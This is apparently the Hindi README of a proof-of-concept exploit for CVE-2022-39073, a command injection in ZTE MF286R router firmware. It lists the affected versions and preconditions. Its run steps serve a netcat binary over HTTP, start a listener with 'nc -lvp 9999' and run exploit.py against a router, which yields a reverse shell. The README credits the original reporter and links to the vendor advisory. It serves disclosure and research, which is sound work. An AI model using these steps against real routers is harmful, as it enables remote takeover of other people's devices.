CVE-2022-39073

फ़र्मवेयर विवरण:

wa_inner_version: BD_POSTEMF286RMODULEV1.0.0B12
cr_version: CR_ITPOSTEMF286RV1.0.0B10

पूर्वापेक्षाएँ

• requests (pip install requests)

कमांड इंजेक्शन

यह भेद्यता zte_net_link_detect बाइनरी और वेबसर्वर goahead बाइनरी में WATCH_DOG_SWITCH हैंडलर के बीच एक साझा कमांड इंजेक्शन है।

ध्यान दें कि भेद्यता का शोषण केवल तभी किया जा सकता है जब राउटर WAN से जुड़ा हो या SIM कार्ड के माध्यम से इंटरनेट से जुड़ा हो। ("ppp_status" कुंजी का मान "ppp_connected" या "ipv4_ipv6_connected" या "ipv6_connected" होना चाहिए)।

जोखिम

• रिमोट कोड निष्पादन (RCE)
• मनमाना कमांड निष्पादन

प्रूफ ऑफ कॉन्सेप्ट

एक्सप्लॉइट का विचार netcat स्टेटिक बाइनरी को एक http सर्वर से डाउनलोड करना और फिर उसके साथ एक रिवर्स शेल खोलना है। P.S: इस फ़ोल्डर में शामिल netcat बिग एंडियन है।

• इस निर्देशिका में एक http सर्वर खोलें python3 -m http.server 8080
• nc -lvp 9999 के साथ पोर्ट 9999 पर एक लिसनिंग सॉकेट खोलें
• इस फ़ोल्डर में स्क्रिप्ट चलाएँ python3 exploit.py http://<router> <admin_password> <attacker_ip, es: 192.168.1.101>

संदर्भ

यह भेद्यता सितंबर 2022 में Andrea Maugeri द्वारा रिपोर्ट की गई थी। https://support.zte.com.cn/support/news/NewsDetail.aspx?newsId=1028664